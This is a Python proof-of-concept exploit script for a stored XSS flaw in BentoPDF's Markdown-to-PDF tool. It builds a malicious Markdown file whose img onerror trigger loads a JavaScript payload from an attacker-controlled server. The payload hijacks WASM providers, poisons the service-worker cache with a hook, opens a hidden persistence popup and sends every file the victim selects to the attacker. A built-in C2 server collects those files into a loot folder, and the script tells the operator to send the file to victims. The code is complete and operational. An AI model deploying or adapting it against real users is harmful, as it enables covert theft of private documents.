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| #!/usr/bin/env python3
import argparse
import json
import os
import re
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
WHITE = "\033[97m"
BOLD = "\033[1m"
RESET = "\033[0m"
LOOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot")
_log_file = None
_ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')
def _print(msg):
print(msg)
if _log_file:
_log_file.write(_ANSI_RE.sub('', msg) + '\n')
_log_file.flush()
PAYLOAD_TEMPLATE = r"""(async function(){
var C2 = '__C2_URL__';
function report(endpoint, data) {
fetch(C2 + endpoint, {
method: 'POST', mode: 'cors',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
}).catch(function(){});
}
var _origWasm = localStorage.getItem('bentopdf:wasm-providers');
var wasmPayload = {
pymupdf: C2 + '/wasm/pymupdf/',
ghostscript: C2 + '/wasm/gs/',
cpdf: C2 + '/wasm/cpdf/'
};
localStorage.setItem('bentopdf:wasm-providers', JSON.stringify(wasmPayload));
report('/hijack', {
stage: 'wasm_hijack',
victim: location.href,
ts: new Date().toISOString()
});
if (_origWasm !== null) {
localStorage.setItem('bentopdf:wasm-providers', _origWasm);
} else {
localStorage.removeItem('bentopdf:wasm-providers');
}
if (window.isSecureContext && typeof caches !== 'undefined' && 'serviceWorker' in navigator) {
try {
var reg = await navigator.serviceWorker.register('/sw.js');
var sw = reg.installing || reg.waiting || reg.active;
if (sw && sw.state !== 'activated') {
await new Promise(function(resolve) {
sw.addEventListener('statechange', function() {
if (sw.state === 'activated') resolve();
});
if (sw.state === 'activated') resolve();
});
}
if (reg.waiting) {
reg.waiting.postMessage({ type: 'SKIP_WAITING' });
await new Promise(function(r){ setTimeout(r, 300); });
}
report('/sw', { stage: 'sw_registered', scope: reg.scope });
var HOOK = ';(function(){if(window.__BENTO_EXFIL__)return;window.__BENTO_EXFIL__=1;var C2="__C2_URL__";var _r=FileReader.prototype.readAsArrayBuffer;FileReader.prototype.readAsArrayBuffer=function(b){var n=b.name||"blob_"+Date.now();b.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(n),{method:"POST",mode:"cors",body:a}).catch(function(){})});return _r.call(this,b)};document.addEventListener("change",function(e){var t=e.target;if(t&&t.type==="file"&&t.files){for(var i=0;i<t.files.length;i++){(function(f){f.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(f.name),{method:"POST",mode:"cors",body:a}).catch(function(){});});})(t.files[i])}}},true);fetch(C2+"/beacon",{method:"POST",mode:"cors",headers:{"Content-Type":"application/json"},body:JSON.stringify({page:location.href,ts:new Date().toISOString()})}).catch(function(){});})();';
var jsUrls = new Set();
document.querySelectorAll('script[src]').forEach(function(s) {
if (s.src.includes('/assets/')) jsUrls.add(s.src);
});
var tools = ['','compress-pdf','merge-pdf','split-pdf','rotate-pdf',
'pdf-to-png','pdf-to-jpg','tools','markdown-to-pdf'];
for (var i = 0; i < tools.length; i++) {
try {
var path = tools[i] ? '/' + tools[i] + '.html' : '/';
var resp = await fetch(path);
var html = await resp.text();
var re = /src="([^"]*\/assets\/[^"]*\.js)"/g;
var m;
while ((m = re.exec(html)) !== null) {
jsUrls.add(new URL(m[1], location.origin).href);
}
} catch(e) {}
}
var cacheNames = await caches.keys();
var cacheName = cacheNames.find(function(n){ return n.startsWith('bentopdf-'); })
|| 'bentopdf-v10-static';
var cache = await caches.open(cacheName);
var poisoned = 0;
for (var url of jsUrls) {
try {
var r = await fetch(url);
var txt = await r.text();
if (txt.includes('__BENTO_EXFIL__')) continue;
await cache.put(url, new Response(txt + '\n' + HOOK, {
status: 200,
headers: { 'Content-Type': 'application/javascript; charset=utf-8' }
}));
poisoned++;
} catch(e) {}
}
report('/poison', { stage: 'cache_poisoned', scripts: poisoned, cache: cacheName });
} catch(e) {
report('/sw', { stage: 'sw_failed', error: e.message });
}
}
var popupCode = [
'<html><head><title>.</title></head><body><script>',
'var C2 = "__C2_URL__";',
'var target = window.opener;',
'function inject() {',
' try {',
' if (!target || target.closed) { window.close(); return; }',
' if (target.__BENTO_EXFIL__) return;',
' target.__BENTO_EXFIL__ = 1;',
' var _r = target.FileReader.prototype.readAsArrayBuffer;',
' target.FileReader.prototype.readAsArrayBuffer = function(b) {',
' var n = b.name || "blob_" + Date.now();',
' b.arrayBuffer().then(function(a) {',
' fetch(C2 + "/file?name=" + encodeURIComponent(n),',
' {method:"POST", mode:"cors", body:a}).catch(function(){});',
' });',
' return _r.call(this, b);',
' };',
' target.document.addEventListener("change", function(e) {',
' var t = e.target;',
' if (t && t.type === "file" && t.files) {',
' for (var i = 0; i < t.files.length; i++) {',
' (function(f) {',
' f.arrayBuffer().then(function(a) {',
' fetch(C2 + "/file?name=" + encodeURIComponent(f.name),',
' {method:"POST", mode:"cors", body:a}).catch(function(){});',
' });',
' })(t.files[i]);',
' }',
' }',
' }, true);',
' fetch(C2 + "/beacon", {method:"POST", mode:"cors",',
' headers:{"Content-Type":"application/json"},',
' body: JSON.stringify({page:target.location.href, ts:new Date().toISOString()})',
' }).catch(function(){});',
' } catch(e) {',
' target.__BENTO_EXFIL__ = 0;',
' }',
'}',
'setInterval(function() {',
' try {',
' if (target && !target.closed && !target.__BENTO_EXFIL__) inject();',
' } catch(e) {}',
'}, 1000);',
'inject();',
'<\/script></body></html>'
].join('\n');
var popup = window.open('about:blank', '_bentopdf_helper', 'width=1,height=1,left=-100,top=-100');
if (popup) {
popup.document.write(popupCode);
popup.document.close();
try { popup.blur(); window.focus(); } catch(e) {}
report('/persist', {
stage: 'popup_opened',
victim: location.href
});
}
if (!window.__BENTO_EXFIL__) {
window.__BENTO_EXFIL__ = 1;
var _origRead = FileReader.prototype.readAsArrayBuffer;
FileReader.prototype.readAsArrayBuffer = function(blob) {
var fname = blob.name || 'unknown_' + Date.now();
blob.arrayBuffer().then(function(buf) {
fetch(C2 + '/file?name=' + encodeURIComponent(fname), {
method: 'POST', mode: 'cors', body: buf
}).catch(function(){});
});
return _origRead.call(this, blob);
};
document.addEventListener('change', function(e) {
if (e.target && e.target.type === 'file' && e.target.files) {
Array.from(e.target.files).forEach(function(f) {
f.arrayBuffer().then(function(buf) {
fetch(C2 + '/file?name=' + encodeURIComponent(f.name), {
method: 'POST', mode: 'cors', body: buf
}).catch(function(){});
});
});
}
}, true);
}
report('/complete', {
stage: 'all_stages_done',
secure_context: window.isSecureContext,
sw_available: 'serviceWorker' in navigator,
caches_available: typeof caches !== 'undefined',
popup: !!popup,
victim: location.href,
ts: new Date().toISOString()
});
})();
"""
_generated_payload = b""
class C2Handler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def _ts(self):
return datetime.now().strftime("%H:%M:%S")
def _cors(self):
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.send_header("Cross-Origin-Resource-Policy", "cross-origin")
def _respond(self, code=200, body=b"ok", content_type="text/plain"):
self.send_response(code)
self._cors()
self.send_header("Content-Type", content_type)
self.end_headers()
self.wfile.write(body)
def do_OPTIONS(self):
self.send_response(204)
self._cors()
self.end_headers()
def do_GET(self):
if self.path == "/poc_payload.js":
_print(f" {BLUE}[{self._ts()}] PAYLOAD SERVED{RESET} -> {self.client_address[0]}")
self._respond(200, _generated_payload, "application/javascript; charset=utf-8")
return
if "data=" in self.path:
import base64
b64 = self.path.split("data=", 1)[1]
try:
decoded = base64.b64decode(b64).decode()
_print(f" {YELLOW}[{self._ts()}] GET EXFIL{RESET} {decoded[:200]}")
except Exception:
pass
self._respond(200)
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length) if length else b""
path = self.path.split("?")[0]
if path == "/file":
fname = "unknown"
if "name=" in self.path:
fname = self.path.split("name=", 1)[1].split("&")[0]
from urllib.parse import unquote
fname = unquote(fname)
safe = fname.replace("/", "_").replace("\\", "_")
outpath = os.path.join(LOOT, f"{datetime.now().strftime('%H%M%S')}_{safe}")
with open(outpath, "wb") as f:
f.write(body)
kb = len(body) / 1024
_print(f" {RED}{BOLD}[{self._ts()}] FILE EXFILTRATED{RESET} "
f"{fname} ({kb:.1f} KB) -> {outpath}")
elif path == "/hijack":
self._print_json("WASM HIJACK", GREEN, body)
elif path == "/sw":
self._print_json("SERVICE WORKER", BLUE, body)
elif path == "/poison":
self._print_json("CACHE POISONED", RED, body)
elif path == "/beacon":
self._print_json("BEACON", YELLOW, body)
elif path == "/complete":
self._print_json("PAYLOAD COMPLETE", GREEN, body)
else:
_print(f" [{self._ts()}] POST {self.path} ({len(body)} bytes)")
self._respond(200)
def _print_json(self, label, color, body):
try:
data = json.loads(body.decode()) if body else {}
detail = json.dumps(data, indent=2)
except Exception:
detail = body.decode() if body else ""
_print(f" {color}{BOLD}[{self._ts()}] {label}{RESET}")
for line in detail.split("\n"):
_print(f" {line}")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-41653 PoC by Astaruf (https://nstsec.com): BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration"
)
parser.add_argument(
"--lhost", required=True,
help="Attacker IP reachable by the victim's browser (e.g. 192.168.1.10)"
)
parser.add_argument(
"--lport", type=int, default=9999,
help="Listening port (default: 9999)"
)
parser.add_argument(
"--loot-dir", default=None,
help="Directory where exfiltrated files are saved (default: ./loot/)"
)
parser.add_argument(
"--log-file", default=None, metavar="FILE",
help="Append all events to FILE in addition to stdout (ANSI codes stripped)"
)
parser.add_argument(
"--no-color", action="store_true",
help="Disable ANSI colors in terminal output"
)
args = parser.parse_args()
global _generated_payload, LOOT, _log_file
global RED, GREEN, YELLOW, BLUE, WHITE, BOLD, RESET
if args.no_color:
RED = GREEN = YELLOW = BLUE = WHITE = BOLD = RESET = ""
if args.log_file:
_log_file = open(args.log_file, "a", encoding="utf-8")
if args.loot_dir:
LOOT = os.path.abspath(args.loot_dir)
os.makedirs(LOOT, exist_ok=True)
c2_url = f"http://{args.lhost}:{args.lport}"
_generated_payload = PAYLOAD_TEMPLATE.replace("__C2_URL__", c2_url).encode()
print(f"""{WHITE}{BOLD}
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
{RESET}
{YELLOW}BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration{RESET}
{YELLOW}PoC by Astaruf (https://nstsec.com){RESET}
""")
xss_trigger = (
f'<img src=x onerror="var s=document.createElement(\'script\');'
f's.src=\'{c2_url}/poc_payload.js\';document.head.appendChild(s)">'
)
md_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_report.md")
with open(md_path, "w", encoding="utf-8") as f:
f.write(f"# Report\n\n{xss_trigger}\n")
print(f"{BOLD}{'='*60}{RESET}")
print(f" Exfiltration server: {GREEN}{c2_url}{RESET}")
print(f" Payload: {GREEN}{c2_url}/poc_payload.js{RESET}")
print(f" Loot dir: {LOOT}")
print(f"{BOLD}{'='*60}{RESET}")
print(f"\n Malicious .md file ready:")
print(f" {GREEN}{md_path}{RESET}")
print(f"\n Send it to the victim and ask them to open it in")
print(f" BentoPDF -> Markdown-to-PDF tool.")
print(f" The payload fires as soon as the preview renders.\n")
print(f"{BOLD}{'='*60}{RESET}\n")
print(f" Waiting for victims...\n")
srv = HTTPServer(("0.0.0.0", args.lport), C2Handler)
try:
srv.serve_forever()
except KeyboardInterrupt:
print(f"\n {YELLOW}[*] Stopped.{RESET}")
finally:
if _log_file:
_log_file.close()
if __name__ == "__main__":
main()
|
